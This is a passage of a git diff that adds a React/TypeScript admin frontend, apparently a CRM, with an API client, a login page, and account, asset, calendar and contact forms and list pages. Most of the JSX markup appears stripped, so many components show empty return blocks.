isAuthBypassEnabled } from "@/lib/auth/auth-bypass"; +import { clearAuth, getAccessToken } from "@/lib/auth/auth-storage"; + +function clearSessionAndRedirectToLogin(): void { + clearAuth(); + queryClient.setQueryData(queryKeys.auth.session(), null); + + if (typeof window !== "undefined" && window.location.pathname !== "/login") { + window.location.replace("/login"); + } +} + +function isAuthLoginRequest(request: Request): boolean { + return request.url.includes(API_PATHS.authentication.login); +} + +/** Ky's beforeRequest sees request.body as a stream; check options.body for FormData. */ +export function shouldStripJsonContentType(body: unknown): boolean { + return body instanceof FormData; +} + +export const api: KyInstance = ky.create({ + prefix: resolveApiPrefixUrl(env.apiUrl), + headers: { + Accept: "application/json", + "Content-Type": "application/json", + }, + hooks: { + beforeRequest: [ + ({ request, options }) => { + const token = getAccessToken(); + if (token) { + request.headers.set("Authorization", token); + } + // Let the runtime set multipart boundary; default JSON Content-Type breaks FormData. + if (shouldStripJsonContentType(options.body)) { + request.headers.delete("Content-Type"); + } + }, + ], + beforeError: [({ error }) => normalizeApiRequestError(error)], + afterResponse: [ + ({ request, response }) => { + if (response.status !== 401 || isAuthLoginRequest(request) || isAuthBypassEnabled()) { + return response; + } + + clearSessionAndRedirectToLogin(); + return response; + }, + ], + }, +}); + +export async function apiGet(url: string, options?: Options): Promise { + return api.get(url, options).json(); +} + +export async function apiPost(url: string, body?: unknown, options?: Options): Promise { + return api.post(url, { ...options, json: body }).json(); +} + +export async function apiPostForm(url: string, body: FormData, options?: Options): Promise { + return api.post(url, { ...options, body }).json(); +} + +export async function apiPut(url: string, body?: unknown, options?: Options): Promise { + return api.put(url, { ...options, json: body }).json(); +} + +export async function apiPatch(url: string, body?: unknown, options?: Options): Promise { + return api.patch(url, { ...options, json: body }).json(); +} + +export async function apiDelete(url: string, options?: Options): Promise { + return api.delete(url, options).json(); +} + +export async function apiPostNoContent( + url: string, + body?: unknown, + options?: Options, +): Promise { + const response = await api.post(url, { ...options, json: body }); + if (response.status === 204) { + return; + } + + const text = await response.text(); + if (!text.trim()) { + return; + } + + JSON.parse(text); +} + +export async function apiDeleteNoContent(url: string, options?: Options): Promise { + const response = await api.delete(url, options); + if (response.status === 204) { + return; + } + + const text = await response.text(); + if (!text.trim()) { + return; + } + + JSON.parse(text); +} + +export { mapHttpStatusToMessage }; diff --git a/src/api/handle-api-response.ts b/src/api/handle-api-response.ts new file mode 100644 index 00000000..5adefa96 --- /dev/null +++ b/src/api/handle-api-response.ts @@ -0,0 +1,62 @@ +import { readItems, readPage, readPageSize, readTotalCount } from "@/api/paginated-response-fields"; + +export interface PaginatedResult { + items: T[]; + totalCount: number; + page: number; + pageSize: number; +} + +function isRecord(value: unknown): value is Record { + return typeof value === "object" && value !== null && !Array.isArray(value); +} + +export function handleApiResponse(data: unknown): T { + if (Array.isArray(data)) { + return data as T; + } + + if (isRecord(data)) { + const nested = data.data ?? data.Data ?? data.value; + if (nested !== undefined) { + return nested as T; + } + } + + return data as T; +} + +export function handlePaginatedResponse( + data: unknown, + params?: { page?: number; pageSize?: number }, +): PaginatedResult { + const page = params?.page ?? 1; + const pageSize = params?.pageSize ?? 12; + + if (Array.isArray(data)) { + return { + items: data as T[], + totalCount: data.length, + page, + pageSize, + }; + } + + if (isRecord(data)) { + const items = readItems(data); + + return { + items, + totalCount: readTotalCount(data, items.length), + page: readPage(data, page), + pageSize: readPageSize(data, pageSize), + }; + } + + return { + items: [], + totalCount: 0, + page, + pageSize, + }; +} diff --git a/src/api/paginated-response-fields.ts b/src/api/paginated-response-fields.ts new file mode 100644 index 00000000..157ffbc4 --- /dev/null +++ b/src/api/paginated-response-fields.ts @@ -0,0 +1,36 @@ +/** Field readers for paginated API payloads that tolerate PascalCase/camelCase and nested envelopes. */ + +export function readItems(record: Record): T[] { + const nested = record.data ?? record.Data ?? record.value; + const itemsFromPaged = + (Array.isArray(record.items) ? (record.items as T[]) : undefined) ?? + (Array.isArray(record.Items) ? (record.Items as T[]) : undefined); + + return itemsFromPaged ?? (Array.isArray(nested) ? (nested as T[]) : []); +} + +export function readTotalCount(record: Record, fallback: number): number { + return ( + (typeof record.totalCount === "number" ? record.totalCount : undefined) ?? + (typeof record.TotalCount === "number" ? record.TotalCount : undefined) ?? + (typeof record.Count === "number" ? record.Count : undefined) ?? + fallback + ); +} + +export function readPage(record: Record, fallback: number): number { + return ( + (typeof record.page === "number" ? record.page : undefined) ?? + (typeof record.pageNumber === "number" ? record.pageNumber : undefined) ?? + (typeof record.PageNumber === "number" ? record.PageNumber : undefined) ?? + fallback + ); +} + +export function readPageSize(record: Record, fallback: number): number { + return ( + (typeof record.pageSize === "number" ? record.pageSize : undefined) ?? + (typeof record.PageSize === "number" ? record.PageSize : undefined) ?? + fallback + ); +} diff --git a/src/app-root.tsx b/src/app-root.tsx new file mode 100644 index 00000000..b3100ba5 --- /dev/null +++ b/src/app-root.tsx @@ -0,0 +1,5 @@ +import { Routes } from "@/app-routes"; + +export function AppRoot() { + return ; +} diff --git a/src/app-routes.tsx b/src/app-routes.tsx new file mode 100644 index 00000000..c5958fa8 --- /dev/null +++ b/src/app-routes.tsx @@ -0,0 +1 @@ +export { Routes } from "@/routing"; diff --git a/src/app/(auth)/_components/auth-card-header.tsx b/src/app/(auth)/_components/auth-card-header.tsx new file mode 100644 index 00000000..aaf95cf6 --- /dev/null +++ b/src/app/(auth)/_components/auth-card-header.tsx @@ -0,0 +1,27 @@ +import type { ComponentPropsWithoutRef } from "react"; + +import { Text } from "@/components/ui/text"; +import { cn } from "@/lib/utils"; + +export type AuthCardHeaderProps = ComponentPropsWithoutRef<"div"> & { + title: string; + subtitle?: string; +}; + +export function AuthCardHeader({ title, subtitle, className, ...props }: AuthCardHeaderProps) { + return ( +
+ + {title} + + + {subtitle} + +
+ ); +} diff --git a/src/app/(auth)/_components/auth-page-shell.tsx b/src/app/(auth)/_components/auth-page-shell.tsx new file mode 100644 index 00000000..b5dca71e --- /dev/null +++ b/src/app/(auth)/_components/auth-page-shell.tsx @@ -0,0 +1,34 @@ +import type { ComponentPropsWithoutRef, ReactNode } from "react"; + +import { cn } from "@/lib/utils"; + +export type AuthPageShellProps = ComponentPropsWithoutRef<"div"> & { + cardClassName?: string; + children: ReactNode; +}; + +export function AuthPageShell({ + children, + className, + cardClassName, + ...props +}: AuthPageShellProps) { + return ( +
+
+ {children} +
+
+ ); +} diff --git a/src/app/(auth)/_components/login-form.tsx b/src/app/(auth)/_components/login-form.tsx new file mode 100644 index 00000000..3e3d8456 --- /dev/null +++ b/src/app/(auth)/_components/login-form.tsx @@ -0,0 +1,96 @@ +import type { + FieldErrors, + UseFormHandleSubmit, + UseFormRegister, + UseFormWatch, +} from "react-hook-form"; +import { Box } from "@mui/material"; + +import { Button } from "@/components/ui/button"; +import { FormErrorMessage } from "@/components/ui/form-error-message"; +import { FormField } from "@/components/ui/form-field"; +import { PasswordField } from "@/components/ui/password-field"; +import { TextField } from "@/components/ui/text-field"; +import { loginSchema, type LoginFormValues } from "@/domain/auth/schemas/login-schema"; + +export type LoginFormProps = { + register: UseFormRegister; + handleSubmit: UseFormHandleSubmit; + watch: UseFormWatch; + errors: FieldErrors; + onSubmit: (values: LoginFormValues) => void; + isLoggingIn: boolean; + loginError: Error | null; +}; + +export function LoginForm({ + register, + handleSubmit, + watch, + errors, + onSubmit, + isLoggingIn, + loginError, +}: LoginFormProps) { + const [username, password] = watch(["username", "password"]); + const isSubmitDisabled = !loginSchema.safeParse({ username, password }).success; + + return ( + + + + + + + + {Boolean(loginError) && ( + + )} + + + + + ); +} diff --git a/src/app/(auth)/_layout.tsx b/src/app/(auth)/_layout.tsx new file mode 100644 index 00000000..8be86a0b --- /dev/null +++ b/src/app/(auth)/_layout.tsx @@ -0,0 +1,11 @@ +import { Outlet } from "react-router"; + +import { GuestRoute } from "@/components/auth/guest-route"; + +export default function AuthLayout() { + return ( + + + + ); +} diff --git a/src/app/(auth)/login.tsx b/src/app/(auth)/login.tsx new file mode 100644 index 00000000..7d1c4c74 --- /dev/null +++ b/src/app/(auth)/login.tsx @@ -0,0 +1,50 @@ +import { useForm } from "react-hook-form"; +import { zodResolver } from "@hookform/resolvers/zod"; + +import { AuthCardHeader } from "@/app/(auth)/_components/auth-card-header"; +import { AuthPageShell } from "@/app/(auth)/_components/auth-page-shell"; +import { LoginForm } from "@/app/(auth)/_components/login-form"; +import { BrandLockup } from "@/components/common/brand-lockup"; +import { Text } from "@/components/ui/text"; +import { loginSchema, type LoginFormValues } from "@/domain/auth/schemas/login-schema"; +import { useAuthContext } from "@/providers/auth-context"; + +export default function LoginPage() { + const { login, isLoggingIn, loginError } = useAuthContext(); + + const { + register, + handleSubmit, + watch, + formState: { errors }, + } = useForm({ + resolver: zodResolver(loginSchema), + defaultValues: { + username: "", + password: "", + }, + }); + + return ( + + + + + + Having trouble? Contact your administrator. + + + ); +} diff --git a/src/app/(protected)/_layout.tsx b/src/app/(protected)/_layout.tsx new file mode 100644 index 00000000..c3281edf --- /dev/null +++ b/src/app/(protected)/_layout.tsx @@ -0,0 +1,36 @@ +import { useState } from "react"; +import { Outlet } from "react-router"; +import { Box } from "@mui/material"; + +import { ProtectedRoute } from "@/components/auth/protected-route"; +import { AppSidebar } from "@/components/layout/app-sidebar"; +import { getSidebarWidth } from "@/config/menu"; +import { AppTopbar } from "@/components/layout/app-topbar"; + +export default function AdminShellLayout() { + const [navCollapsed, setNavCollapsed] = useState(false); + const sidebarWidth = getSidebarWidth(navCollapsed); + + return ( + + + + + + setNavCollapsed((value) => !value)} /> + + + + + + + + ); +} diff --git a/src/app/(protected)/accounts/_components/account-form.tsx b/src/app/(protected)/accounts/_components/account-form.tsx new file mode 100644 index 00000000..cbb8829a --- /dev/null +++ b/src/app/(protected)/accounts/_components/account-form.tsx @@ -0,0 +1,194 @@ +import { useEffect } from "react"; +import { Controller, useForm } from "react-hook-form"; +import { zodResolver } from "@hookform/resolvers/zod"; +import { useNavigate, useParams } from "react-router"; +import { + Alert, + Box, + Button, + CircularProgress, + FormControl, + InputLabel, + MenuItem, + Paper, + Select, + Stack, + TextField, + Typography, +} from "@mui/material"; +import { accountSchema, type AccountFormValues } from "@/domain/accounts/schemas/account-schema"; +import { useAccountDetail } from "@/domain/accounts/use-cases/use-account-detail"; +import { useCreateAccount } from "@/domain/accounts/use-cases/use-create-account"; +import { useUpdateAccount } from "@/domain/accounts/use-cases/use-update-account"; + +const defaultValues: AccountFormValues = { + AccountName: "", + AccountNumber: "", + Industry: "", + Website: "", + Notes: "", + Address1: "", + Address2: "", + City: "", + State: "", + Zip: "", + Country: "US", +}; + +export default function AccountFormPage() { + const { id } = useParams(); + const navigate = useNavigate(); + const isEdit = Boolean(id); + + const { data: account, isLoading, error } = useAccountDetail(id); + const createAccount = useCreateAccount(); + const updateAccount = useUpdateAccount(); + + const { + register, + handleSubmit, + reset, + control, + formState: { errors }, + } = useForm({ + resolver: zodResolver(accountSchema), + defaultValues, + }); + + useEffect(() => { + if (account && isEdit) { + reset({ + AccountName: account.AccountName ?? "", + AccountNumber: account.AccountNumber ?? "", + Industry: account.Industry ?? "", + Website: account.Website ?? "", + Notes: account.Notes ?? "", + Address1: account.Address1 ?? "", + Address2: account.Address2 ?? "", + City: account.City ?? "", + State: account.State ?? "", + Zip: account.Zip ?? "", + Country: account.Country ?? "US", + }); + } + }, [account, isEdit, reset]); + + const isSaving = createAccount.isPending || updateAccount.isPending; + + const onSubmit = (values: AccountFormValues) => { + if (isEdit && id) { + updateAccount.mutate({ id, values }); + return; + } + createAccount.mutate(values); + }; + + if (isEdit && isLoading) { + return ( + + + + ); + } + + return ( + + + + + + {isEdit ? "Edit Account" : "Create an Account"} + + + + + {Boolean(error) && ( + + {error instanceof Error ? error.message : "Failed to load account"} + + )} + + + + + General Details + + + + + + + + + + + + + + + Address + + + + + + + + + + + ( + + Country + + + )} + /> + + + + + + + + + + + ); +} diff --git a/src/app/(protected)/accounts/edit/[id].tsx b/src/app/(protected)/accounts/edit/[id].tsx new file mode 100644 index 00000000..8a48c8a9 --- /dev/null +++ b/src/app/(protected)/accounts/edit/[id].tsx @@ -0,0 +1 @@ +export { default } from "../_components/account-form"; diff --git a/src/app/(protected)/accounts/index.tsx b/src/app/(protected)/accounts/index.tsx new file mode 100644 index 00000000..7697c764 --- /dev/null +++ b/src/app/(protected)/accounts/index.tsx @@ -0,0 +1,242 @@ +import { useMemo, useState } from "react"; +import { useNavigate } from "react-router"; +import DeleteOutlineIcon from "@mui/icons-material/DeleteOutlined"; +import EditOutlinedIcon from "@mui/icons-material/EditOutlined"; +import { + Alert, + Box, + Button, + CircularProgress, + Dialog, + DialogActions, + DialogContent, + DialogContentText, + DialogTitle, + IconButton, + Paper, + Stack, + Table, + TableBody, + TableCell, + TableContainer, + TableHead, + TablePagination, + TableRow, + TextField, + Tooltip, + Typography, +} from "@mui/material"; +import type { AccountListItem } from "@/domain/accounts/types/account"; +import { useAccountsList } from "@/domain/accounts/use-cases/use-accounts-list"; +import { useDeleteAccount } from "@/domain/accounts/use-cases/use-delete-account"; +import { useDebounce } from "@/hooks/use-debounce"; + +export default function AccountsListPage() { + const navigate = useNavigate(); + const [search, setSearch] = useState(""); + const [page, setPage] = useState(0); + const [pageSize, setPageSize] = useState(12); + const [deleteTarget, setDeleteTarget] = useState(null); + + const debouncedSearch = useDebounce(search, 300); + const deleteAccount = useDeleteAccount(); + + const listParams = useMemo( + () => ({ + search: debouncedSearch, + page: page + 1, + pageSize, + }), + [debouncedSearch, page, pageSize], + ); + + const { data, isLoading, isFetching, error } = useAccountsList(listParams); + + const rows = data?.items ?? []; + const totalCount = data?.totalCount ?? 0; + + const handleDeleteConfirm = () => { + if (!deleteTarget) { + return; + } + + deleteAccount.mutate(deleteTarget.id, { + onSuccess: () => setDeleteTarget(null), + }); + }; + + return ( + + + + + Accounts + + + {totalCount} total + + {isFetching && !isLoading && } + + + + { + setSearch(event.target.value); + setPage(0); + }} + placeholder="Search accounts..." + className="min-w-[220px]" + /> + + + + {Boolean(error) && ( + + {error instanceof Error ? error.message : "Failed to load accounts"} + + )} + + + + + Name + Number + Industry + Website + Primary Contact + Phone + Owner + + Actions + + + + + {isLoading ? ( + + + + + + ) : rows.length === 0 ? ( + + + + No accounts found + + + + ) : ( + rows.map((row) => ( + + + + + {row.number || "—"} + {row.industry || "—"} + {row.website || "—"} + {row.primaryContact || "—"} + {row.phoneNumber || "—"} + {row.owner || "—"} + + + navigate(`/accounts/edit/${row.id}`)} + > + + + + + setDeleteTarget(row)} + > + + + + + + )) + )} + +
+
+ setPage(nextPage)} + rowsPerPage={pageSize} + onRowsPerPageChange={(event) => { + setPageSize(Number(event.target.value)); + setPage(0); + }} + rowsPerPageOptions={[12, 24, 48]} + /> + setDeleteTarget(null)}> + Delete Account + + + Are you sure you want to delete "{deleteTarget?.name}"? This action cannot be + undone. + + + + + + + +
+ ); +} diff --git a/src/app/(protected)/accounts/new.tsx b/src/app/(protected)/accounts/new.tsx new file mode 100644 index 00000000..6f506b87 --- /dev/null +++ b/src/app/(protected)/accounts/new.tsx @@ -0,0 +1 @@ +export { default } from "./_components/account-form"; diff --git a/src/app/(protected)/assets/_components/asset-form.tsx b/src/app/(protected)/assets/_components/asset-form.tsx new file mode 100644 index 00000000..513f1837 --- /dev/null +++ b/src/app/(protected)/assets/_components/asset-form.tsx @@ -0,0 +1,218 @@ +import { useEffect } from "react"; +import { Controller, useForm } from "react-hook-form"; +import { zodResolver } from "@hookform/resolvers/zod"; +import { useNavigate, useParams } from "react-router"; +import { + Alert, + Box, + Button, + CircularProgress, + FormControl, + FormControlLabel, + InputLabel, + MenuItem, + Paper, + Select, + Stack, + Switch, + TextField, + Typography, +} from "@mui/material"; +import { assetSchema, type AssetFormValues } from "@/domain/assets/schemas/asset-schema"; +import { useAssetDetail } from "@/domain/assets/use-cases/use-asset-detail"; +import { useAssetFormOptions } from "@/domain/assets/use-cases/use-asset-form-options"; +import { useCreateAsset } from "@/domain/assets/use-cases/use-create-asset"; +import { useUpdateAsset } from "@/domain/assets/use-cases/use-update-asset"; + +const defaultValues: AssetFormValues = { + assetCode: "", + name: "", + description: "", + accountId: null, + locationId: null, + isActive: true, +}; + +export default function AssetFormPage() { + const { id } = useParams(); + const navigate = useNavigate(); + const isEdit = Boolean(id); + + const { data: asset, isLoading, error } = useAssetDetail(id); + const { accounts, sites, isLoading: optionsLoading, error: optionsError } = useAssetFormOptions(); + const createAsset = useCreateAsset(); + const updateAsset = useUpdateAsset(); + + const { + register, + handleSubmit, + reset, + control, + formState: { errors }, + } = useForm({ + resolver: zodResolver(assetSchema), + defaultValues, + }); + + useEffect(() => { + if (asset && isEdit) { + reset({ + assetCode: asset.assetCode, + name: asset.name, + description: asset.description, + accountId: asset.accountId, + locationId: asset.locationId, + isActive: asset.isActive, + }); + } + }, [asset, isEdit, reset]); + + const isSaving = createAsset.isPending || updateAsset.isPending; + + const onSubmit = (values: AssetFormValues) => { + if (isEdit && id) { + updateAsset.mutate({ id, values }); + return; + } + createAsset.mutate(values); + }; + + if ((isEdit && isLoading) || optionsLoading) { + return ( + + + + ); + } + + return ( + + + + {isEdit ? "Edit Asset" : "Create Asset"} + + {Boolean(error || optionsError) && ( + + {error instanceof Error + ? error.message + : optionsError instanceof Error + ? optionsError.message + : "Failed to load asset"} + + )} + + + + + + + + + + + ( + + Account + + + )} + /> + + ( + + Location + + + )} + /> + + ( + } + label="Active" + /> + )} + /> + + + + + + + + + + + ); +} diff --git a/src/app/(protected)/assets/edit/[id].tsx b/src/app/(protected)/assets/edit/[id].tsx new file mode 100644 index 00000000..dba59b2a --- /dev/null +++ b/src/app/(protected)/assets/edit/[id].tsx @@ -0,0 +1 @@ +export { default } from "../_components/asset-form"; diff --git a/src/app/(protected)/assets/index.tsx b/src/app/(protected)/assets/index.tsx new file mode 100644 index 00000000..e6d6451f --- /dev/null +++ b/src/app/(protected)/assets/index.tsx @@ -0,0 +1,244 @@ +import { useMemo, useState } from "react"; +import { useNavigate } from "react-router"; +import DeleteOutlineIcon from "@mui/icons-material/DeleteOutlined"; +import EditOutlinedIcon from "@mui/icons-material/EditOutlined"; +import { + Alert, + Box, + Button, + Chip, + CircularProgress, + Dialog, + DialogActions, + DialogContent, + DialogContentText, + DialogTitle, + IconButton, + Paper, + Stack, + Table, + TableBody, + TableCell, + TableContainer, + TableHead, + TablePagination, + TableRow, + TextField, + Tooltip, + Typography, +} from "@mui/material"; +import type { AssetListItem } from "@/domain/assets/types/asset"; +import { useAssetsList } from "@/domain/assets/use-cases/use-assets-list"; +import { useDeleteAsset } from "@/domain/assets/use-cases/use-delete-asset"; +import { useDebounce } from "@/hooks/use-debounce"; + +export default function AssetsListPage() { + const navigate = useNavigate(); + const [search, setSearch] = useState(""); + const [page, setPage] = useState(0); + const [pageSize, setPageSize] = useState(12); + const [deleteTarget, setDeleteTarget] = useState(null); + + const debouncedSearch = useDebounce(search, 300); + const deleteAsset = useDeleteAsset(); + + const listParams = useMemo( + () => ({ + search: debouncedSearch, + page: page + 1, + pageSize, + }), + [debouncedSearch, page, pageSize], + ); + + const { data, isLoading, isFetching, error } = useAssetsList(listParams); + + const rows = data?.items ?? []; + const totalCount = data?.totalCount ?? 0; + + const handleDeleteConfirm = () => { + if (!deleteTarget) return; + deleteAsset.mutate(deleteTarget.id, { + onSuccess: () => setDeleteTarget(null), + }); + }; + + return ( + + + + + Assets + + + {totalCount} total + + {isFetching && !isLoading && } + + + + { + setSearch(event.target.value); + setPage(0); + }} + placeholder="Search assets..." + className="min-w-sidebar" + /> + + + + {Boolean(error) && ( + + {error instanceof Error ? error.message : "Failed to load assets"} + + )} + + + + + Asset Code + Name + Description + Account + Location + Status + + Actions + + + + + {isLoading ? ( + + + + + + ) : rows.length === 0 ? ( + + + + No assets found + + + + ) : ( + rows.map((row) => ( + + {row.assetCode || "—"} + + + + {row.description || "—"} + {row.accountName || "—"} + {row.locationName || "—"} + + + + + + navigate(`/assets/edit/${row.id}`)} + > + + + + + setDeleteTarget(row)} + > + + + + + + )) + )} + +
+
+ setPage(nextPage)} + rowsPerPage={pageSize} + onRowsPerPageChange={(event) => { + setPageSize(Number(event.target.value)); + setPage(0); + }} + rowsPerPageOptions={[12, 24, 48]} + /> + setDeleteTarget(null)}> + Delete Asset + + + Are you sure you want to delete "{deleteTarget?.name}"? This action cannot be + undone. + + + + + + + +
+ ); +} diff --git a/src/app/(protected)/assets/new.tsx b/src/app/(protected)/assets/new.tsx new file mode 100644 index 00000000..6feb5f6c --- /dev/null +++ b/src/app/(protected)/assets/new.tsx @@ -0,0 +1 @@ +export { default } from "./_components/asset-form"; diff --git a/src/app/(protected)/calendar/_components/calendar-unavailable.tsx b/src/app/(protected)/calendar/_components/calendar-unavailable.tsx new file mode 100644 index 00000000..885d6058 --- /dev/null +++ b/src/app/(protected)/calendar/_components/calendar-unavailable.tsx @@ -0,0 +1,27 @@ +import { Alert, Box, Typography } from "@mui/material"; + +export function CalendarUnavailablePanel() { + return ( + + + Calendário indisponível — a API de calendário ainda não está implementada no backend. + + + As rotas permanecem reservadas para quando o CalendarController for disponibilizado. + + + ); +} + +export default function CalendarUnavailablePage() { + return ( + + + + ); +} diff --git a/src/app/(protected)/calendar/_components/event-form.tsx b/src/app/(protected)/calendar/_components/event-form.tsx new file mode 100644 index 00000000..01134222 --- /dev/null +++ b/src/app/(protected)/calendar/_components/event-form.tsx @@ -0,0 +1,289 @@ +import { useEffect } from "react"; +import { Controller, useForm, useWatch } from "react-hook-form"; +import { zodResolver } from "@hookform/resolvers/zod"; +import { useNavigate, useParams, useSearchParams } from "react-router"; +import { + Alert, + Box, + Button, + Checkbox, + CircularProgress, + FormControl, + FormControlLabel, + InputLabel, + MenuItem, + Paper, + Select, + Stack, + TextField, + Typography, +} from "@mui/material"; +import { + CALENDAR_REMINDER_OPTIONS, + CALENDAR_TIME_OPTIONS, +} from "@/components/common/calendar/calendar-utils"; +import { + calendarEventSchema, + type CalendarEventFormValues, +} from "@/domain/calendar/schemas/calendar-event-schema"; +import { useCalendarEventDetail } from "@/domain/calendar/use-cases/use-calendar-event-detail"; +import { useCreateCalendarEvent } from "@/domain/calendar/use-cases/use-create-calendar-event"; +import { useUpdateCalendarEvent } from "@/domain/calendar/use-cases/use-update-calendar-event"; +import { toDateInputValue } from "@/lib/time-utils"; + +const COLORS = ["primary", "success", "info", "warning", "danger"] as const; + +const defaultValues: CalendarEventFormValues = { + title: "", + description: "", + location: "", + recordId: null, + recordName: "", + recordTargetType: "", + reminderMinutes: 15, + eventColor: "primary", + startDate: new Date().toISOString().split("T")[0], + startTime: "08:00 AM", + endDate: new Date().toISOString().split("T")[0], + endTime: "08:30 AM", + allDay: false, +}; + +export default function EventFormPage() { + const { id } = useParams(); + const [searchParams] = useSearchParams(); + const navigate = useNavigate(); + const isEdit = Boolean(id); + + const { data: event, isLoading, error } = useCalendarEventDetail(id); + const createEvent = useCreateCalendarEvent(); + const updateEvent = useUpdateCalendarEvent(); + + const { + register, + handleSubmit, + reset, + control, + formState: { errors }, + } = useForm({ + resolver: zodResolver(calendarEventSchema), + defaultValues: { + ...defaultValues, + startDate: searchParams.get("date") ?? defaultValues.startDate, + endDate: searchParams.get("date") ?? defaultValues.endDate, + }, + }); + + const allDay = useWatch({ control, name: "allDay" }); + + useEffect(() => { + if (event && isEdit) { + reset({ + title: event.title, + description: event.description, + location: event.location, + recordId: event.recordId, + recordName: event.recordName, + recordTargetType: event.recordTargetType, + reminderMinutes: event.reminderMinutes, + eventColor: event.eventColor, + startDate: toDateInputValue(event.startDate), + startTime: event.startTime || "08:00 AM", + endDate: toDateInputValue(event.endDate), + endTime: event.endTime || "08:30 AM", + allDay: event.allDay, + }); + } + }, [event, isEdit, reset]); + + const isSaving = createEvent.isPending || updateEvent.isPending; + + const onSubmit = (values: CalendarEventFormValues) => { + if (isEdit && id) { + updateEvent.mutate({ id, values }); + return; + } + createEvent.mutate(values); + }; + + if (isEdit && isLoading) { + return ( + + + + ); + } + + return ( + + + + {isEdit ? "Edit Event" : "Create Event"} + + {Boolean(error) && Failed to load event} + + + + + + + + + + ( + + Remind Attendees + + + )} + /> + + ( + + Calendar Color + + + )} + /> + + {!allDay && ( + + + ( + + Start Time + + + )} + /> + + )} + + {!allDay && ( + + + ( + + End Time + + + )} + /> + + )} + + ( + } + label="All day event" + /> + )} + /> + + + + + + + + + + + ); +} diff --git a/src/app/(protected)/calendar/_layout.tsx b/src/app/(protected)/calendar/_layout.tsx new file mode 100644 index 00000000..7527ef71 --- /dev/null +++ b/src/app/(protected)/calendar/_layout.tsx @@ -0,0 +1,13 @@ +import { Outlet } from "react-router"; +import { Alert, Box } from "@mui/material"; + +export default function CalendarLayout() { + return ( + + + Calendário indisponível — a API de calendário ainda não está implementada no backend. + + + + ); +} diff --git a/src/app/(protected)/calendar/edit/[id].tsx b/src/app/(protected)/calendar/edit/[id].tsx new file mode 100644 index 00000000..98c47fcd --- /dev/null +++ b/src/app/(protected)/calendar/edit/[id].tsx @@ -0,0 +1 @@ +export { default } from "../_components/calendar-unavailable"; diff --git a/src/app/(protected)/calendar/index.tsx b/src/app/(protected)/calendar/index.tsx new file mode 100644 index 00000000..be1a4079 --- /dev/null +++ b/src/app/(protected)/calendar/index.tsx @@ -0,0 +1 @@ +export { default } from "./_components/calendar-unavailable"; diff --git a/src/app/(protected)/calendar/new.tsx b/src/app/(protected)/calendar/new.tsx new file mode 100644 index 00000000..be1a4079 --- /dev/null +++ b/src/app/(protected)/calendar/new.tsx @@ -0,0 +1 @@ +export { default } from "./_components/calendar-unavailable"; diff --git a/src/app/(protected)/contacts/_components/contact-form.tsx b/src/app/(protected)/contacts/_components/contact-form.tsx new file mode 100644 index 00000000..401265d6 --- /dev/null +++ b/src/app/(protected)/contacts/_components/contact-form.tsx @@ -0,0 +1,265 @@ +import { useEffect } from "react"; +import { useForm } from "react-hook-form"; +import { zodResolver } from "@hookform/resolvers/zod"; +import { useNavigate, useParams } from "react-router"; +import { + Alert, + Box, + Button, + CircularProgress, + FormControl, + InputLabel, + MenuItem, + Paper, + Select, + Stack, + TextField, + Typography, +} from "@mui/material"; +import { contactSchema, type ContactFormValues } from "@/domain/contacts/schemas/contact-schema"; +import { useContactDetail } from "@/domain/contacts/use-cases/use-contact-detail"; +import { useCreateContact } from "@/domain/contacts/use-cases/use-create-contact"; +import { useUpdateContact } from "@/domain/contacts/use-cases/use-update-contact"; + +const defaultValues: ContactFormValues = { + firstName: "", + middleName: "", + lastName: "", + title: "", + contactType: "", + gender: "", + dateOfBirth: "", + territory: "-1", + owner: "1", + privacySetting: "PublicReadWrite", + about: "", + tags: "", + street: "", + streetLineTwo: "", + city: "", + zip: "", + country: "US", + state: "", + county: "", + timeZone: "Eastern Standard Time", + smsAddress: "", + website: "", + facebookUrl: "", + linkedInUrl: "", + twitterUrl: "", +}; + +const CONTACT_TYPES = ["Corporate", "Store Mgr", "Facilities", "Area Leader"]; +const US_STATES = ["AL", "AK", "AZ", "CA", "FL", "NY", "TX"]; + +export default function ContactFormPage() { + const { id } = useParams(); + const navigate = useNavigate(); + const isEdit = Boolean(id); + + const { data: contact, isLoading, error } = useContactDetail(id); + const createContact = useCreateContact(); + const updateContact = useUpdateContact(); + + const { + register, + handleSubmit, + reset, + formState: { errors }, + } = useForm({ + resolver: zodResolver(contactSchema), + defaultValues, + }); + + useEffect(() => { + if (contact && isEdit) { + reset({ + firstName: contact.firstName, + middleName: contact.middleName, + lastName: contact.lastName, + title: contact.title, + contactType: contact.contactType, + gender: contact.gender, + dateOfBirth: contact.dateOfBirth, + territory: contact.territory || "-1", + owner: contact.owner || "1", + privacySetting: contact.privacySetting, + about: contact.about, + tags: contact.tags, + street: contact.street, + streetLineTwo: contact.streetLineTwo, + city: contact.city, + zip: contact.zip, + country: contact.country, + state: contact.state, + county: contact.county, + timeZone: contact.timeZone, + smsAddress: contact.smsAddress, + website: contact.website, + facebookUrl: contact.facebookUrl, + linkedInUrl: contact.linkedInUrl, + twitterUrl: contact.twitterUrl, + }); + } + }, [contact, isEdit, reset]); + + const isSaving = createContact.isPending || updateContact.isPending; + + const onSubmit = (values: ContactFormValues) => { + if (isEdit && id) { + updateContact.mutate({ id, values }); + return; + } + createContact.mutate(values); + }; + + if (isEdit && isLoading) { + return ( + + + + ); + } + + return ( + + + + {isEdit ? "Edit Contact" : "Create Contact"} + + {Boolean(error) && ( + + {error instanceof Error ? error.message : "Failed to load contact"} + + )} + + + + + General Details + + + + + + + + + + + + Contact Type + + + + + + + Territory + + + + Owner + + + + Privacy + + + + + + + + Address + + + + + + + + + + + + State + + + + + + + Additional + + + + + + + + + + + + + + ); +} diff --git a/src/app/(protected)/contacts/edit/[id].tsx b/src/app/(protected)/contacts/edit/[id].tsx new file mode 100644 index 00000000..7a4bf5ac --- /dev/null +++ b/src/app/(protected)/contacts/edit/[id].tsx @@ -0,0 +1 @@ +export { default } from "../_components/contact-form"; diff --git a/src/app/(protected)/contacts/index.tsx b/src/app/(protected)/contacts/index.tsx new file mode 100644 index 00000000..e910c8f4 --- /dev/null +++ b/src/app/(protected)/contacts/index.tsx @@ -0,0 +1,221 @@ +import { useMemo, useState } from "react"; +import { useNavigate } from "react-router"; +import DeleteOutlineIcon from "@mui/icons-material/DeleteOutlined"; +import EditOutlinedIcon from "@mui/icons-material/EditOutlined"; +import { + Alert, + Box, + Button, + CircularProgress, + Dialog, + DialogActions, + DialogContent, + DialogContentText, + DialogTitle, + IconButton, + Paper, + Stack, + Table, + TableBody, + TableCell, + TableContainer, + TableHead, + TablePagination, + TableRow, + TextField, + Tooltip, + Typography, +} from "@mui/material"; +import type { ContactListItem } from 